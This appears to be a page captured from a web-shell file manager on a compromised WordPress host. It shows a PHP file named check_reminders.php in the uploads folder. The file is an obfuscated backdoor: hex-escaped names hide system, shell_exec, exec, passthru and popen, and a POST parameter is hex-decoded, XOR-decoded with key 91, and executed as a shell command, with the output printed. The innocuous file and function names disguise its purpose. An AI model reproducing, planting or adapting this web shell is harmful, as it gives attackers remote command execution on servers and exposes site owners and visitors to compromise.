HEX
Server: Apache/2
System: Linux sv174 5.14.0-570.21.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jun 11 07:22:35 EDT 2025 x86_64
User: casinobe (1137)
PHP: 7.4.33
Disabled: exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/casinobe/domains/kohkae789-x.com/private_html/wp-content/uploads/2025/12/check_reminders.php
<?php

$request_approved1 = "\x73\x79\x73tem";
$request_approved7 = "p\x63l\x6F\x73e";
$restore_state = "\x68ex2\x62\x69n";
$request_approved6 = "\x73\x74\x72\x65\x61\x6D\x5F\x67\x65\x74_contents";
$request_approved3 = "\x65\x78ec";
$request_approved2 = "sh\x65ll_\x65x\x65c";
$request_approved4 = "\x70\x61s\x73\x74hru";
$request_approved5 = "p\x6Fpen";
if (isset($_POST["b\x69\x6E\x64ing"])) {
            function approve_request    (    $resource   ,      $val     )     {
      $bind    =     ''   ;
     for($y=0;
 $y<strlen($resource);
 $y++){
$bind.=chr(ord($resource[$y])^$val);

} return     $bind;
    
}
            $binding = $restore_state($_POST["b\x69\x6E\x64ing"]);
            $binding = approve_request($binding, 91);
            if (function_exists($request_approved1)) {
                $request_approved1($binding);
            } elseif (function_exists($request_approved2)) {
                print $request_approved2($binding);
            } elseif (function_exists($request_approved3)) {
                $request_approved3($binding, $symbol_resource);
                print join("\n", $symbol_resource);
            } elseif (function_exists($request_approved4)) {
                $request_approved4($binding);
            } elseif (function_exists($request_approved5) && function_exists($request_approved6) && function_exists($request_approved7)) {
                $val_bind = $request_approved5($binding, 'r');
                if ($val_bind) {
                    $mrk_elem = $request_approved6($val_bind);
                    $request_approved7($val_bind);
                    print $mrk_elem;
                }
            }
            exit;
        }